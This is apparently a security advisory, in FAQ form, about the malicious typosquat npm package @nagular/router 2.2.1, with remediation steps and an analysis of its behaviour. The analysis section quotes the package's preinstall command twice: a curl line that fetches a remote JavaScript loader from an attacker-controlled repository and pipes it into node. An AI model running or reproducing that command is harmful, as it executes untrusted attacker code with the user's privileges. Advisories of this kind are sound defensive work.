Which versions of @nagular/router are malicious?

The following npm versions of @nagular/router are flagged malicious: 2.2.1. Treat any of these as compromised.

How do I remediate @nagular/router if I installed it?

@nagular/router is a typosquat — you almost certainly intended a legitimately-named package. Remove @nagular/router, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.

I already installed @nagular/router — how do I know if it already compromised me?

If @nagular/router was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Is @nagular/router part of a known attack campaign?

Yes — @nagular/router is associated with the IN-MAL-2026-020920 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find @nagular/router across my projects, lockfiles, and CI pipelines?

Search your lockfiles and build artifacts for @nagular/router (version 2.2.1).

What this malware does

@nagular/[email protected] impersonates router (it copies the code and metadata of the pillarjs router package) and adds a preinstall script that runs on npm install and pipes a remotely hosted loader into node: curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node. This runs attacker-controlled JavaScript with the installing user's privileges. The npm account angularr published @nagular/router and 5 similar packages on 2026-10-03 between 06:33 and 07:23 UTC, all with the same preinstall script.

package.json declares a preinstall lifecycle hook that runs curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node, fetching an opaque JavaScript payload from an unrelated third-party repository (gitflic.ru/hellscripter/install-scripts) proxied via web.archive.org and piping it directly into node at npm install time. The fetched bytes are not pinned by hash or version, the host is unrelated to the declared repository (pillarjs/router) or publisher domain (somethingdoug.com), and execution happens automatically with full user privileges on every install. Package metadata further impersonates the maintainer of the legitimate pillarjs/router package (author: Douglas Christopher Wilson) and uses the scope @nagular/router, a name likely to be confused with @angular/router, consistent with a typosquat lure designed to trick installers into running the preinstall dropper.
